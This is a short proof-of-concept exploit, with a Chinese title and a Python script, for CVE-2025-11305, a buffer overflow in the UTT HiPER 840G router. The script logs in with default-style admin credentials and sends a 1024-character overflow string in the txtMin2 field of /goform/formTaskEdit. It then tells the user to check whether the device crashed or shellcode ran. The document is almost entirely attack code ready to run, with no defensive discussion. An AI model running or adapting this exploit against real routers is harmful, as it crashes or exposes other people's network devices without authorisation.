CVE-2025-11305 UTT HiPER 840G路由器缓冲区溢出漏洞

# CVE-2025-11305 PoC - UTT HiPER 840G Buffer Overflow # Vulnerability: Buffer overflow in strcpy via txtMin2 parameter at /goform/formTaskEdit import requests # Target configuration TARGET_URL = "http://TARGET_IP" LOGIN_URL = f"{TARGET_URL}/goform/login" EXPLOIT_URL = f"{TARGET_URL}/goform/formTaskEdit" # Authentication credentials (low privilege required) USERNAME = "admin" PASSWORD = "password" # Session management session = requests.Session() def authenticate(): """Login to the router with low privilege credentials""" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=login_data) return response.status_code == 200 def trigger_overflow(): """Trigger buffer overflow via txtMin2 parameter""" # Craft malicious payload - overflow buffer via strcpy # The txtMin2 argument is passed to strcpy without bounds checking payload = "A" * 1024 # Overflow payload exploit_data = { "txtMin2": payload, # Additional parameters may be required } response = session.post(EXPLOIT_URL, data=exploit_data) return response def main(): print("[*] CVE-2025-11305 - UTT HiPER 840G Buffer Overflow PoC") print("[*] Authenticating...") if authenticate(): print("[+] Authentication successful") print("[*] Sending exploit payload...") result = trigger_overflow() print(f"[*] Response status: {result.status_code}") print("[*] Check if device crashed or shellcode executed") else: print("[-] Authentication failed") if __name__ == "__main__": main()